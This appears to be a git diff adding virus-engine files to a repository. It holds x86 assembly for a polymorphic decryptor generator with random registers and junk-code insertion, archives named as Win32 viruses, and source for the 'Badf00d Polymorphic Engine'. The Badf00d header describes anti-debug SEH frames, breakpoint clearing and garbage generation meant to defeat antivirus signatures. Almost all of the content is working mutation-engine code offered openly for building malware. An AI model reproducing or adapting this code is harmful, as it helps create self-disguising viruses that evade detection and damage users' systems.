mov eax,[esp+CRPE_stack+arg4] ; imm32 = Size of buffer
|
||||
stosd ; Write..
|
||||
|
||||
; Generate XOR/SUB (REG32_3),(REG32_3)
|
||||
@rnd_2:
|
||||
push 3 ;
|
||||
call CRPE_rnd ; Get random number between 0-3
|
||||
cmp [ebp],al ; AL = First value of AL ?
|
||||
jz @rnd_2 ; Randomize again...
|
||||
cmp [ebp+1],al ; AL = Second value of AL ?
|
||||
jz @rnd_2 ; Randomize again...
|
||||
mov [ebp+2],al ; Save AL in temporary memory...
|
||||
mov bl,al ; BL = AL \
|
||||
shl al,3 ; AL = AL * 8 > Optimized for speed
|
||||
add al,bl ; AL+= BL /
|
||||
or al,0C0h ; AL+= 0C0h (r32/r32)
|
||||
mov ebx,eax ; EBX = EAX
|
||||
push 1 ;
|
||||
call CRPE_rnd ; Choose: SUB or XOR
|
||||
or eax,eax ;
|
||||
jz @@sub__ ;
|
||||
@@xor__: ;
|
||||
mov al,033h ; Generate: XOR
|
||||
jmp @write0 ;
|
||||
@@sub__: ;
|
||||
mov al,02Bh ; Generate: SUB
|
||||
@write0: ;
|
||||
mov ah,bl ;
|
||||
stosw ; Write..
|
||||
|
||||
; Generate: MOV (REG32_4),(REG32_3)
|
||||
mov al,[ebp+2] ; EAX = [EBP+2] (Third value of AL)
|
||||
xor al,[ebp+1] ; XOR AL,[EBP+1](Second value of AL)
|
||||
xor al,[ebp] ; XOR AL,[EBP] (First value of AL)
|
||||
mov [ebp+3],al ; Save AL in temporary memory
|
||||
shl al,3 ; AL = AL * 8
|
||||
or al,[ebp+2] ; AL = AL + REG32_3
|
||||
or al,0C0h ; AL+= 0C0h
|
||||
xchg al,ah ; Exchange: AL <-> AH
|
||||
mov al,08Bh ; AL = 08Bh (MOV (r32),(r32) opcode)
|
||||
stosw ; Write...
|
||||
mov [ebp+0Ch],edi ; Save current position in temp. memory
|
||||
|
||||
; --- HASH BYTE ---
|
||||
|
||||
; Generate: XOR (REG32_3),MAGIC
|
||||
mov [ebp+8],edi ; Save current position in temp. memory
|
||||
mov al,bye [ebp+2] ; AL = REG32_3
|
||||
or eax,eax ; AL != 0 ?
|
||||
jnz @@normal_xor ; Normal version of XOR...
|
||||
or al,035h ; Optimized version for EAX
|
||||
stosb ; Write...
|
||||
jmp @@immed32_of_xor ; Jump to put an immed32
|
||||
@@normal_xor: ;
|
||||
or al,0F0h ; AL+= 0F0h
|
||||
mov ah,081h ; AH = 081h
|
||||
xchg ah,al ; Exchange: AH <-> AL
|
||||
stosw ; Write...
|
||||
@@immed32_of_xor: ;
|
||||
mov eax,[ebp+4] ; EAX = Saved "MAGIC" in temp. memory
|
||||
stosd ; Write...
|
||||
|
||||
; Generate: REG32_3_LO8 ^= BUF[COUNTER-1]
|
||||
mov al,032h ; XOR r8,mem opcode
|
||||
stosb ; Write...
|
||||
|
||||
mov al,bye [ebp+2] ; AL = REG32_3
|
||||
shl al,3 ; AL = AL * 8
|
||||
add al,44h ; Identify R8,LOW of REG32_3
|
||||
stosb ; Write...
|
||||
|
||||
mov al,[ebp] ; AL = REG32_1 \ Combination of registers
|
||||
shl al,3 ; AL = Ah * 8 / Generate: [REG32_2+REG32_1]
|
||||
add al,[ebp+1] ; AL+= REG32_2 /
|
||||
mov ah,0FFh ; Generate: -1
|
||||
stosw ; Write...
|
||||
|
||||
; Generate: ADD/OR (REG32_4),8
|
||||
xor ecx,ecx ;
|
||||
push 1 ;
|
||||
call CRPE_rnd ; Choose: ADD or OR
|
||||
xchg eax,ecx ;
|
||||
jecxz @add_ ;
|
||||
mov ah,8 ; Generate: OR
|
||||
@add_: ; Generate: ADD
|
||||
mov al,83h ;
|
||||
or ah,[ebp+3] ; AH = REG32_4
|
||||
or ah,0C0h ;
|
||||
stosw ; Write...
|
||||
mov al,8 ;
|
||||
stosb ; Write...
|
||||
mov [ebp+08h],edi ; Save current position in temp. memory
|
||||
|
||||
; --- HASH BIT ---
|
||||
|
||||
; TRASH or not
|
||||
push 1 ;
|
||||
call CRPE_rnd ; Choose: YES or NO
|
||||
xchg eax,ecx ; Exchange: EAX <-> ECX
|
||||
jecxz @no_trash2 ; ECX = 0 ? So, dont put trash
|
||||
call CRPE_tg ; Put trash...
|
||||
@no_trash2: ;
|
||||
|
||||
; Generate: SHL [REG32_3],1
|
||||
mov al,0D1h ; SHL (REG),1 opcode
|
||||
mov ah,[ebp+2] ; AH = REG32_3
|
||||
or ah,0E0h ;
|
||||
stosw ; Write..
|
||||
|
||||
; Generate: SBB [REG32_3], [REG32_4]
|
||||
mov ah,[ebp+2] ; AH = REG32_3
|
||||
shl ah,3 ; AH = AH * 8
|
||||
add ah,[ebp+3] ; AH+= REG32_4
|
||||
add ah,0C0h ;
|
||||
mov al,01Bh ; AL = 01Bh (SBB opcode)
|
||||
stosw ; Write..
|
||||
|
||||
; Generate: DEC [REG32_4]
|
||||
mov al,[ebp+3] ; AL = REG32_4
|
||||
add al,048h ; AL+= 048h (DEC REG opcode)
|
||||
stosb ; Write..
|
||||
|
||||
; Generate: JNZ hash_bit (bit loop)
|
||||
mov eax,[ebp+08h] ; EAX = hash_bit position
|
||||
call CRPE_make_jnz ; Calcule the jump...
|
||||
|
||||
; Generate: DEC [REG32_2]
|
||||
mov al,[ebp+1] ; AL = REG32_2
|
||||
add al,048h ; AL+= 048h (DEC REG opcode)
|
||||
stosb ; Write..
|
||||
|
||||
; Generate: JNZ hash_byte (byte loop)
|
||||
mov eax,[ebp+0Ch] ; EAX = hash_bit position
|
||||
call CRPE_make_jnz ; Calcule the jump...
|
||||
|
||||
; --- DECRYPTOR INIT ---
|
||||
|
||||
; Generate: REG32_1 = Encrypted area
|
||||
mov al,08Bh ; AL = MOV opcode
|
||||
stosb ; Write..
|
||||
|
||||
@rnd_3: ; Choose another REG32_1
|
||||
push 3 ;
|
||||
call CRPE_rnd ; Get random number between 0-7
|
||||
cmp al,[ebp+2] ; AL = REG32_3 ?
|
||||
jz @rnd_3 ; So try again..
|
||||
cmp al,4 ; AL = ESP (4) ?
|
||||
jz @rnd_3 ; So try again..
|
||||
mov [ebp],al ; Save in temporary memory
|
||||
shl al,3 ; AL = AL * 8
|
||||
add al,044h ; AL+= 44h
|
||||
stosb ; Write..
|
||||
|
||||
mov ax,2024h ; AX = 2024h (ESP+20h)
|
||||
stosw ; Write..
|
||||
|
||||
; Generate: REG32_2 = Size of area - 4
|
||||
@rnd_4: ; Choose another REG32_2
|
||||
push 7 ;
|
||||
call CRPE_rnd ; Get random number between 0-7
|
||||
cmp al,[ebp+2] ; AL = REG32_3 ?
|
||||
jz @rnd_4 ; So try again..
|
||||
cmp al,[ebp] ; AL = REG32_1 ?
|
||||
jz @rnd_4 ; So try again..
|
||||
cmp al,4 ; AL = ESP (4) ?
|
||||
jz @rnd_4 ; So try again..
|
||||
mov [ebp+1],al ; Save in temporary memory
|
||||
add al,0B8h ; AL+= B8h (MOV opcode)
|
||||
stosb ; Write..
|
||||
|
||||
mov eax,[esp+CRPE_stack+arg2] ; EAX = immed32
|
||||
sub eax,4 ; EAX-= 4
|
||||
stosd ; Write..
|
||||
|
||||
; Generate: ADD [REG32_1] , [REG32_2]
|
||||
|
||||
mov ax,0C003h ; AX = ADD REG,REG opcode
|
||||
mov bl,[ebp] ; AL = REG32_1
|
||||
shl bl,3 ; Second reg..
|
||||
or bl,[ebp+1] ; REG32_2, first reg..
|
||||
or ah,bl ;
|
||||
stosw ; Write..
|
||||
|
||||
; --- DECRYPTOR LOOP ---
|
||||
|
||||
mov [ebp+04],edi ; Save current position in temporary mem.
|
||||
|
||||
; Generate: XOR [REG32_1],[REG32_3]
|
||||
mov al,031h ; XOR [DS:REG],REG opcode
|
||||
mov ah,[ebp+2] ; REG32_2
|
||||
shl ah,3 ; First reg
|
||||
add ah,[ebp] ; REG32_2, second reg
|
||||
stosw ; Write..
|
||||
|
||||
; Generate: XOR [REG32_3],[REG32_2]
|
||||
mov ah,[ebp+2] ; AH = REG32_3
|
||||
shl ah,3 ; AH = AH * 8
|
||||
add ah,0C0h ; AH+= C0h
|
||||
or ah,[ebp+1] ; AH+= REG32_2
|
||||
mov al,033h ; AL = 33h (XOR opcode)
|
||||
stosw ; Write..
|
||||
|
||||
; Generate some trash or not
|
||||
push 1 ;
|
||||
call CRPE_rnd ; Choose: YES or NO
|
||||
xchg eax,ecx ;
|
||||
jecxz @no_trash3 ;
|
||||
call CRPE_tg ;
|
||||
@no_trash3:
|
||||
|
||||
; Generate: DEC [REG32_1] ;
|
||||
mov al,[ebp] ; REG32_1
|
||||
add al,048h ;
|
||||
stosb ; write..
|
||||
|
||||
; Generate: DEC [REG32_2]
|
||||
mov al,[ebp+1] ; REG32_2
|
||||
add al,048h ;
|
||||
stosb ; write..
|
||||
|
||||
; Generate: JNS DECRYPTOR_LOOP
|
||||
mov eax,[ebp+4] ; EAX = DECRYPTOR_LOOP position
|
||||
call CRPE_make_jnz ; Calculate jump
|
||||
mov bye [edi-2],079h ; JNS
|
||||
|
||||
; --- TRASH + POPAD ---
|
||||
|
||||
; TRASH or not ;
|
||||
push 1 ;
|
||||
call CRPE_rnd ; Choose: YES or NO
|
||||
xchg eax,ecx ;
|
||||
jecxz @no_trash4 ;
|
||||
call CRPE_tg ;
|
||||
@no_trash4: ;
|
||||
|
||||
; Generate: POPAD
|
||||
mov al,061h ; AL = POPAD opcode
|
||||
stosb ; Write..
|
||||
|
||||
; --- TRASH + RET ---
|
||||
|
||||
; TRASH or not
|
||||
push 1 ;
|
||||
call CRPE_rnd ; Choose: YES or NO
|
||||
xchg eax,ecx ; Exchange: EAX <-> ECX
|
||||
jecxz @no_trash5 ; ECX = 0 ? So, dont put trash
|
||||
call CRPE_tg ; Put trash...
|
||||
@no_trash5: ;
|
||||
|
||||
; Generate: RET ;
|
||||
mov al,0C3h ; AL = 0C3h (RET opcode)
|
||||
stosb ; Write...
|
||||
|
||||
; Calculate return value & Unset memory & Restores regs & Return
|
||||
mov eax,[esp+CRPE_stack+arg3] ; EAX = Initial buffer
|
||||
sub edi,eax
|
||||
mov [esp+CRPE_tmp+STACK_REG._EAX],edi
|
||||
add esp,CRPE_tmp
|
||||
popad
|
||||
ret 18h
|
||||
|
||||
; Common rotine to calculate SHORT jnz's
|
||||
CRPE_make_jnz:
|
||||
inc edi ;
|
||||
inc edi ;
|
||||
sub eax,edi ; EAX-= Current position
|
||||
mov ah,075h ; AH = 75h (JNZ opcode)
|
||||
xchg ah,al ; Exchange: AH <-> AL
|
||||
mov [edi-2],ax ; Write..
|
||||
ret ; Return..
|
||||
|
||||
CRPE_make endp
|
||||
|
||||
;-------------------------------------------------------------------------------
|
||||
; INTERNAL FUNCTIONS, DONT WORRY ABOUT IT ;)
|
||||
;-------------------------------------------------------------------------------
|
||||
|
||||
; - Random number generator beetween 0-[Arg1]
|
||||
; Input: Arg1 = Range
|
||||
; Output: EAX = Random number
|
||||
|
||||
CRPE_rnd proc
|
||||
|
||||
pushad ; Save registers..
|
||||
|
||||
rdtsc ; CPU TIME-STAMP in EDX:EAX
|
||||
xor edx,esp ;
|
||||
xor eax,edx ;
|
||||
|
||||
mov ecx,[esp+STACK_REGS+4] ; ECX = Arg1
|
||||
inc ecx ;
|
||||
jecxz CRPE_rnd_fim ;
|
||||
|
||||
xor edx,edx ; EDX = 0
|
||||
div ecx ; EAX = EAX / Arg1
|
||||
mov eax,edx ; EAX = Rest
|
||||
|
||||
CRPE_rnd_fim:
|
||||
mov [esp+STACK_REG._EAX],eax
|
||||
|
||||
popad ; Restore registers..
|
||||
ret 4h ; Return..
|
||||
|
||||
CRPE_rnd endp
|
||||
|
||||
; - Trash generator (max.: 21 bytes | min.: 2 bytes)
|
||||
; Input: EDI = Buffer
|
||||
; Output: EDI = Buffer (updated)
|
||||
|
||||
CRPE_tg proc
|
||||
|
||||
pushad ; Save registers
|
||||
|
||||
push 3 ;
|
||||
call CRPE_rnd ; Get random number between 0-3
|
||||
|
||||
dec eax ;
|
||||
js @trash1 ;
|
||||
dec eax ;
|
||||
jz @trash2 ;
|
||||
dec eax ;
|
||||
jz @trash3 ;
|
||||
|
||||
; Generate: PUSH (REG Y) / POP (REG Y)
|
||||
@trash4:
|
||||
push 7 ;
|
||||
call CRPE_rnd ; Get random number between 0-7
|
||||
add al,50h ; Generate PUSH (REG)
|
||||
mov ah,al ;
|
||||
add ah,8 ; Generate POP (REG)
|
||||
stosw ; write..
|
||||
|
||||
push 1 ; Choose next trash routine...
|
||||
call CRPE_rnd ;
|
||||
xchg eax,ecx ;
|
||||
jecxz @trash2 ;
|
||||
|
||||
; Generate: MOV (REG X),(REG X)
|
||||
@trash3:
|
||||
push 7 ;
|
||||
call CRPE_rnd ; Get random number between 0-7
|
||||
mov bl,al ; BL = AL \
|
||||
shl al,3 ; AL = AL * 8 > Optimized for speed
|
||||
add al,bl ; AL+= BL /
|
||||
add al,0C0h ; AL+= 0C0h
|
||||
mov ah,08Bh ; Generater MOV (REG X),(REG X)
|
||||
xchg ah,al ; Exchange: AH <-> AL
|
||||
stosw ; write...
|
||||
|
||||
push 1 ; Choose next trash routine...
|
||||
call CRPE_rnd ;
|
||||
xchg eax,ecx ;
|
||||
jecxz @trash1 ;
|
||||
|
||||
; Generate: CMP/TEST (REG X),(REG Y)
|
||||
@trash2:
|
||||
push 03Fh ;
|
||||
call CRPE_rnd ; Get random number between 0-63
|
||||
xchg bl,al ; Exchange: BL <-> AL
|
||||
add bl,0C0h ; BL+= 0C0h
|
||||
push 1 ;
|
||||
call CRPE_rnd ; Choose: CMP or TEST
|
||||
or eax,eax ;
|
||||
jz @@_cmp ;
|
||||
@@_test: ;
|
||||
mov al,085h ; Generate: TEST opcode
|
||||
jmp @@write_trash_ ;
|
||||
@@_cmp: ;
|
||||
mov al,03Bh ; Generate: CMP opcode
|
||||
@@write_trash_: ;
|
||||
mov ah,bl ; AH = BL
|
||||
stosw ; Write...
|
||||
jmp @trash_end
|
||||
|
||||
; Generate: CALL (XXXX) | ESP-4
|
||||
@trash1:
|
||||
mov al,0E8h ;
|
||||
stosb ; Generate CALL opcode
|
||||
|
||||
push 8 ;
|
||||
call CRPE_rnd ; Get random number between 0-8
|
||||
inc eax ; EAX++
|
||||
stosd ; Generate imm32 of CALL
|
||||
|
||||
mov ecx,eax ; ECX = EAX (imm32)
|
||||
@@repeat_trash: ;
|
||||
push -1 ;
|
||||
call CRPE_rnd ; Generate random number in EAX
|
||||
stosb ; write al
|
||||
loop @@repeat_trash ; (ECX) times...
|
||||
|
||||
push 1 ;
|
||||
call CRPE_rnd ; Choose: ADD ESP,4 or
|
||||
xchg eax,ecx ; INC ESP / INC ESP / INC ESP / INC ESP
|
||||
jecxz @@4dec_esp ;
|
||||
|
||||
mov al,83h ;
|
||||
stosb ; Generate ADD ESP,4
|
||||
mov ax,04C4h ;
|
||||
stosw ;
|
||||
jmp @trash_end ; No more trash...
|
||||
|
||||
@@4dec_esp: ;
|
||||
mov eax,44444444h ; Generate INC ESP, 4 times
|
||||
stosd ;
|
||||
|
||||
@trash_end:
|
||||
mov [esp+STACK_REG._EDI],edi ; Update EDI...
|
||||
popad ; Restore registers
|
||||
ret ; Return...
|
||||
|
||||
CRPE_tg endp
|
||||
|
||||
; - Hashing
|
||||
; Input:
|
||||
; Arg1 = Pointer to data to hash
|
||||
; Arg2 = Size of data to hash
|
||||
; Arg3 = MAGIC
|
||||
; Outrput:
|
||||
; EAX = Hashed data
|
||||
|
||||
CRPE_hash proc
|
||||
|
||||
pushad ; Save regs.
|
||||
|
||||
mov edx,[esp+STACK_REGS+4] ; EDX = Buffer
|
||||
mov ecx,[esp+STACK_REGS+8] ; ECX = Size of buffer (byte counter)
|
||||
xor eax,eax ; EAX = 0 (reader / hasher)
|
||||
mov ebx,eax ; EBX = 0 (bit counter)
|
||||
|
||||
@@@hash_byte: ;
|
||||
xor eax,[esp+STACK_REGS+12] ;
|
||||
xor al,[edx+ecx-1] ;
|
||||
or bl,8 ;
|
||||
|
||||
@@@hash_bit: ;
|
||||
shl eax,1 ;
|
||||
sbb eax,ebx ;
|
||||
dec ebx ;
|
||||
jnz @@@hash_bit ; EBX != 0 ? Go to the next bit...
|
||||
|
||||
dec ecx ;
|
||||
jnz @@@hash_byte ; ECX != 0 ? Go to the next byte...
|
||||
|
||||
mov [esp+STACK_REG._EAX],eax ;
|
||||
|
||||
popad ; Restore regs.
|
||||
ret 0Ch ; Return...
|
||||
|
||||
CRPE_hash endp
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
BIN
Engines/Virus.Win32.Simple.7z
Normal file
BIN
Engines/Virus.Win32.Simple.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Spectr0.7z
Normal file
BIN
Engines/Virus.Win32.Spectr0.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Vpe.7z
Normal file
BIN
Engines/Virus.Win32.Vpe.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Xtg.7z
Normal file
BIN
Engines/Virus.Win32.Xtg.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Yad13.7z
Normal file
BIN
Engines/Virus.Win32.Yad13.7z
Normal file
Binary file not shown.
990
Engines/Virus.Win32.badf00d.asm
Normal file
990
Engines/Virus.Win32.badf00d.asm
Normal file
@ -0,0 +1,990 @@
|
||||
comment $
|
||||
|
||||
|
||||
\`. |\
|
||||
\`-. \ `.| \!,,
|
||||
\ \ `.\ _ (__
|
||||
_ `-.> \ ___ \ __ ------------------------------------------
|
||||
`-/,o-./O `. ._` Badf00d Polymorphic Engine
|
||||
-// j_ | `` _<` ------------------------------------------
|
||||
|\__( \--' ' \ . by Piotr Bania <bania.piotr@gmail.com>
|
||||
> _ `--' _/ ; http://pb.specialised.info
|
||||
| / `----.. . / (
|
||||
| ( `. Y )
|
||||
\ \ ,-.-.| |_ (_
|
||||
`.`.___\ \ \/=.`. __) a little bit of this,
|
||||
`--,==\ )==\,\ (_ a little bit of that
|
||||
,'\===`--'====\,\ `-.
|
||||
,'.` ============\,\ (`-'
|
||||
/`=.`Y=============\,\ .'
|
||||
/`-. `|==============\_,-._
|
||||
/`-._`=|=___=========,'^, c-)
|
||||
\`-----+' ._)=====_(_`-' ^-'`-.
|
||||
-----`=====, \ `.-==(^_ ^c_,.^ `^_\-----
|
||||
(__/`--'('(_,-._)-._,-.,__)`) hjw
|
||||
`-._`._______.'_.-'
|
||||
`---------'
|
||||
|
||||
|
||||
|
||||
|
||||
Disclaimer__________________________________________________________________________________]
|
||||
|
||||
Author takes no responsibility for any actions with provided informations or codes.
|
||||
The copyright for any material created by the author is reserved. Any duplication of
|
||||
codes or texts provided here in electronic or printed publications is not permitted
|
||||
without the author's agreement. If you disagree - leave now!
|
||||
|
||||
|
||||
|
||||
Introduction________________________________________________________________________________]
|
||||
|
||||
I must confess i was pretty bored and that's why i have written this engine. Meanwhile
|
||||
i was also thinking about some PE encrypter, so sooner or later i got to produce some
|
||||
poly engine for it. This little thingie was written in 2 days (few hours each day).
|
||||
Current version is super beta, drop me an mail if you will find any errors.
|
||||
|
||||
|
||||
|
||||
Features____________________________________________________________________________________]
|
||||
|
||||
+ SEH frames generator (int3/sti/cli exceptions, BPM removers (dr0-3 cleaners), random
|
||||
registry usage, random size of garbage block (return address is calculated via size
|
||||
of the generated junks), generated SEH block looks like this:
|
||||
|
||||
|
||||
* SNIP *
|
||||
00402814 E8 3D000000 CALL pol.00402856
|
||||
00402819 8BD4 MOV EDX,ESP ; generated REG
|
||||
0040281B 81C2 0C000000 ADD EDX,0C
|
||||
00402821 8B12 MOV EDX,DWORD PTR DS:[EDX]
|
||||
00402823 C782 04000000 00>MOV DWORD PTR DS:[EDX+4],0
|
||||
0040282D C782 08000000 00>MOV DWORD PTR DS:[EDX+8],0
|
||||
00402837 C782 12000000 00>MOV DWORD PTR DS:[EDX+12],0
|
||||
00402841 C782 16000000 00>MOV DWORD PTR DS:[EDX+16],0
|
||||
0040284B 8182 B8000000 05>ADD DWORD PTR DS:[EDX+B8],5 ; calcs return addr
|
||||
00402855 C3 RETN
|
||||
00402856 33C9 XOR ECX,ECX
|
||||
00402858 64:FF31 PUSH DWORD PTR FS:[ECX]
|
||||
0040285B 64:8921 MOV DWORD PTR FS:[ECX],ESP
|
||||
0040285E CC INT3
|
||||
0040285F AF SCAS DWORD PTR ES:[EDI]
|
||||
00402860 C8 50C933 ENTER 0C950,33
|
||||
00402864 C0648F 00 5A SHL BYTE PTR DS:[EDI+ECX*4],5A
|
||||
* SNIP *
|
||||
|
||||
As you can see doing only regswaping is not a good solution (still signature can be
|
||||
generated - look RegSwap virus description), prolly it is better to mix randomly SEH
|
||||
instructions with garbage. Use your imagination.
|
||||
|
||||
|
||||
+ safe garbage generator (generates stepable garbage code, moreover user can specyfi
|
||||
what registers should be used and what should be not, this feature gives an
|
||||
advantage to mix original code together with garbage code, without destroying the
|
||||
values from orginal one), like this snipet shows:
|
||||
|
||||
|
||||
* SNIP - ALL REGS ALLOWED *
|
||||
00402814 F7D2 NOT EDX
|
||||
00402816 D1D3 RCL EBX,1
|
||||
00402818 9B WAIT
|
||||
00402819 9B WAIT
|
||||
0040281A D1F9 SAR ECX,1
|
||||
0040281C 93 XCHG EAX,EBX
|
||||
0040281D 81C3 B9B1F0A8 ADD EBX,A8F0B1B9
|
||||
00402823 F9 STC
|
||||
00402824 81EF 73D13C4E SUB EDI,4E3CD173
|
||||
0040282A 3BC7 CMP EAX,EDI
|
||||
0040282C FD STD
|
||||
0040282D 2BC6 SUB EAX,ESI
|
||||
0040282F 57 PUSH EDI
|
||||
00402830 81C9 6FA7215F OR ECX,5F21A76F
|
||||
00402836 33F3 XOR ESI,EBX
|
||||
00402838 F7D8 NEG EAX
|
||||
0040283A 1BCE SBB ECX,ESI
|
||||
* SNIP - ALL REGS ALLOWED *
|
||||
|
||||
|
||||
* SNIP - ALLOWED EAX/EBX *
|
||||
00402814 F7DB NEG EBX
|
||||
00402816 F7D0 NOT EAX
|
||||
00402818 85C3 TEST EBX,EAX
|
||||
0040281A F8 CLC
|
||||
0040281B 90 NOP
|
||||
0040281C C7C3 BB153882 MOV EBX,823815BB
|
||||
00402822 F7D8 NEG EAX
|
||||
00402824 09DB OR EBX,EBX
|
||||
00402826 D1D3 RCL EBX,1
|
||||
00402828 D1D8 RCR EAX,1
|
||||
0040282A EB 00 JMP SHORT pol.0040282C
|
||||
0040282C 81EB 011DAF21 SUB EBX,21AF1D01
|
||||
00402832 81E8 3BB25C3B SUB EAX,3B5CB23B
|
||||
00402838 F8 CLC
|
||||
* SNIP - ALLOWED EAX/EBX *
|
||||
|
||||
|
||||
+ hardcore garbage generator (generates jmp over_garbage and generates garbage stepable
|
||||
or totaly randomized - this one will be never executed), like here:
|
||||
|
||||
|
||||
* SNIP - SOME GARBAGE CODE *
|
||||
00402810 EB 14 JMP SHORT pol.00402826
|
||||
00402812 CB RETF
|
||||
00402813 69A0 1C1E85D1 F9>IMUL ESP,DWORD PTR DS:[EAX+D1851E1C],886>
|
||||
0040281D F2: PREFIX REPNE:
|
||||
0040281E 4B DEC EBX
|
||||
0040281F 85FF TEST EDI,EDI
|
||||
00402821 198A 797CF6EB SBB DWORD PTR DS:[EDX+EBF67C79],ECX
|
||||
00402827 0C C8 OR AL,0C8
|
||||
* SNIP - SOME GARBAGE CODE *
|
||||
|
||||
|
||||
+ backwards jumps generator (generates some funny jumps :))
|
||||
|
||||
* SNIP *
|
||||
0040280C EB 3A JMP SHORT pol.00402848
|
||||
0040280E 33FE XOR EDI,ESI
|
||||
00402810 EB 3B JMP SHORT pol.0040284D
|
||||
00402812 AE SCAS BYTE PTR ES:[EDI]
|
||||
00402813 ^73 C8 JNB SHORT pol.004027DD
|
||||
00402815 71 13 JNO SHORT pol.0040282A
|
||||
00402817 90 NOP
|
||||
00402818 5E POP ESI
|
||||
00402819 C2 AFE0 RETN 0E0AF
|
||||
0040281C BB 8406103D MOV EBX,3D100684
|
||||
00402821 60 PUSHAD
|
||||
00402822 E5 77 IN EAX,77
|
||||
00402824 2AC4 SUB AL,AH
|
||||
00402826 59 POP ECX
|
||||
00402827 3E:5C POP ESP
|
||||
00402829 0E PUSH CS
|
||||
0040282A 67:73 7A JNB SHORT pol.004028A7
|
||||
0040282D AF SCAS DWORD PTR ES:[EDI]
|
||||
0040282E 27 DAA
|
||||
0040282F 0880 3B2E3EF3 OR BYTE PTR DS:[EAX+F33E2E3B],AL
|
||||
00402835 5D POP EBP
|
||||
00402836 52 PUSH EDX
|
||||
00402837 D9FB FSINCOS
|
||||
00402839 ^E1 BD LOOPDE SHORT pol.004027F8
|
||||
0040283B 4E DEC ESI
|
||||
0040283C 53 PUSH EBX
|
||||
0040283D 4D DEC EBP
|
||||
0040283E 62D6 BOUND EDX,ESI
|
||||
00402840 A7 CMPS DWORD PTR DS:[ESI],DWORD PTR ES:[ED>
|
||||
00402841 FF49 8C DEC DWORD PTR DS:[ECX-74]
|
||||
00402844 07 POP ES
|
||||
00402845 56 PUSH ESI
|
||||
00402846 7A 15 JPE SHORT pol.0040285D
|
||||
00402848 9B WAIT
|
||||
00402849 ^EB C5 JMP SHORT pol.00402810
|
||||
0040284B 6E OUTS DX,BYTE PTR ES:[EDI]
|
||||
0040284C 45 INC EBP
|
||||
* SNIP *
|
||||
|
||||
|
||||
TODO________________________________________________________________________________________]
|
||||
|
||||
+ code some multiple decryption routines (xlat/xor/etc. etc - backwards/forwards)
|
||||
+ add some checksum checker routines
|
||||
+ code new engine :))
|
||||
|
||||
|
||||
Sample_usage________________________________________________________________________________]
|
||||
|
||||
* SNIP *
|
||||
call random_setup ; set seed
|
||||
mov ecx,30 ; loop counter
|
||||
lea edi,temp_buff ; EDI = where to store
|
||||
gen_it:
|
||||
mov eax,3
|
||||
call random_eax ; give random
|
||||
cmp eax,0
|
||||
je skip_jmp
|
||||
|
||||
cmp eax,1
|
||||
je skip_sehs
|
||||
|
||||
call t_normalize_pops ; normalize stack before SEHs
|
||||
add edi,eax
|
||||
|
||||
call gen_seh ; generate SEHs
|
||||
add edi,eax ; add edi,generated_code_size
|
||||
skip_sehs:
|
||||
call gen_bjumps ; generate backwards jumps
|
||||
add edi,eax ; add edi,generated_code_size
|
||||
skip_jmp:
|
||||
mov eax,2
|
||||
call random_eax ; give random
|
||||
test eax,eax
|
||||
jnz gen_it2
|
||||
|
||||
call gen_garbage_i ; generate some stepable junk
|
||||
jmp loopers
|
||||
|
||||
gen_it2:
|
||||
call hardcode_garbage_i ; generate some hard junks
|
||||
|
||||
loopers:
|
||||
add edi,eax ; add edi,generated_code_size
|
||||
loop gen_it
|
||||
|
||||
|
||||
call t_normalize_pops ; normalize stack if it wasn't
|
||||
add edi,eax ; normalized
|
||||
* SNIP *
|
||||
|
||||
|
||||
|
||||
Have phun,
|
||||
Piotr Bania
|
||||
|
||||
|
||||
|
||||
|
||||
$
|
||||
|
||||
|
||||
M0_EAX equ 0
|
||||
M0_ECX equ 1
|
||||
M0_EDX equ 2
|
||||
M0_EBX equ 3
|
||||
M0_ESI equ 4
|
||||
M0_EDI equ 5
|
||||
|
||||
M1_EAX equ 0
|
||||
M1_ECX equ 1
|
||||
M1_EDX equ 2
|
||||
M1_EBX equ 3
|
||||
M1_ESI equ 6
|
||||
M1_EDI equ 7
|
||||
|
||||
|
||||
M2_EAX equ 0 shl 3
|
||||
M2_ECX equ 1 shl 3
|
||||
M2_EDX equ 2 shl 3
|
||||
M2_EBX equ 3 shl 3
|
||||
M2_ESI equ 6 shl 3
|
||||
M2_EDI equ 7 shl 3
|
||||
|
||||
; -------------- MAIN REGISTERS TABLES ----------------------------------------
|
||||
|
||||
x1_table: db M1_EAX
|
||||
db M1_ECX
|
||||
db M1_EDX
|
||||
db M1_EBX
|
||||
db M1_ESI
|
||||
db M1_EDI
|
||||
x1_tbl_size = $ - offset x1_table
|
||||
|
||||
x2_table: db M2_EAX
|
||||
db M2_ECX
|
||||
db M2_EDX
|
||||
db M2_EBX
|
||||
db M2_ESI
|
||||
db M2_EDI
|
||||
x2_tbl_size = $ - offset x2_table
|
||||
|
||||
|
||||
; -------------- INSTRUCTION TABLES -------------------------------------------
|
||||
; FORMAT: (1 BYTE) (BYTE) (BYTE) (BYTE)
|
||||
; <OPCODE> <MODRM> <LEN> <CSET>
|
||||
;
|
||||
; if there is no MODRM, MODRM must be set to 2Dh (temp)
|
||||
|
||||
NO_M equ 02dh
|
||||
C_NONE equ 0
|
||||
C_SRC equ 1
|
||||
C_DST equ 2
|
||||
C_BOTH equ 3
|
||||
|
||||
|
||||
|
||||
allowed_regs: db M0_EAX, M0_ECX, M0_EDX, M0_EBX, M0_ESI, M0_EDI
|
||||
instr_table: db 0f9h, NO_M, 1h, C_NONE ; stc
|
||||
db 0EBh, NO_M, 2h, C_NONE ; jmp $+1
|
||||
db 0c7h, 0c0h, 6h, C_SRC ; mov reg(EAX),NUM
|
||||
db 08bh, 0c0h, 2h, C_BOTH ; mov reg(EAX),reg(EAX)
|
||||
db 081h, 0c0h, 6h, C_SRC ; add reg(EAX),NUM
|
||||
db 003h, 0c0h, 2h, C_BOTH ; add reg(EAX),reg(EAX)
|
||||
db 081h, 0e8h, 6h, C_SRC ; sub reg(EAX),NUM
|
||||
db 02bh, 0c0h, 2h, C_BOTH ; sub reg(EAX),reg(EAX)
|
||||
db 040h, NO_M, 1h, C_SRC ; inc reg(EAX)
|
||||
db 048h, NO_M, 1h, C_SRC ; dec reg(EAX)
|
||||
_i_xor_r db 033h, 0c0h, 2h, C_BOTH ; xor reg(EAX),reg(EAX)
|
||||
db 009h, 0c0h, 2h, C_BOTH ; or reg(EAX),reg(EAX)
|
||||
